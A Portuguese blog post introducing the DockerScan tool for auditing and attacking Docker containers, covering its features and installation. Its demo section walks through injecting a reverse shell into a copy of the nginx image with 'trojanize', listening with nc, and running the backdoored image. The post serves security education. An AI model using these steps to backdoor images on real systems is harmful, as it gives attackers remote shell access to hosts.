Olá gente! Tudo bem?
Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker, vamos ver mais detalhes sobre a ferramenta DockerScan.
DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.
Principais Funcionalidades
- Faz scan de uma rede tentando localizar os Docker Registries
- Registry
- Delete: Exclui image / tag remota
- Info: Mostra informações de registros remotos
- Push: Envia uma imagem
- Upload: Upload de arquivo
- Image
- Analyze
- Busca por informações confidenciais em uma imagem
- Busca por senhas em variáveis de ambiente
- Busca por qualquer URL / IP em variáveis de ambiente
- Tenta identificar o usuário usado para executar o software
- Analyze
- Extract: extrair uma imagem
- Info: Obtém meta-informação da imagem
- Modify:
- entrypoint: altere o ponto de entrada em um Docker
- trojanize: injeta um reverse shell em uma imagem Docker
- user: altere o usuário em execução em uma imagem Docker
Instalando o DockerScan
Vamos ver agora como é simples instalar a ferramenta DockerScan.
Primeiro instale o gerenciador de pacotes da linguagem Python o pip:
> python3.5 -m pip install -U pip
Agora instalamos o DockerScan
> python3.5 -m pip install dockerscan
Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:
> dockerscan -h
Exemplos de utilização
Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:
Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:
$ dockerscan image info nome-da-imagem
Seguindos os passos a baixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:
//Baixe a imagem oficial do nginx
$ docker pull nginx
//Salve uma cópia da imagem
$ docker save nginx -o nginx-original
//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original
//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original
//Execute um ifconfig para saber seu ip
$ ifconfig
//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell
//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222
//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar
//Execute
$ docker run nginx:latest
Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.
Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.
Analista de Desenvolvimento na KingHost, graduado em ADS pelo Senac. Pós-graduando em Segurança Cibernética pela UFRGS, entusiasta Open Source e Software Livre.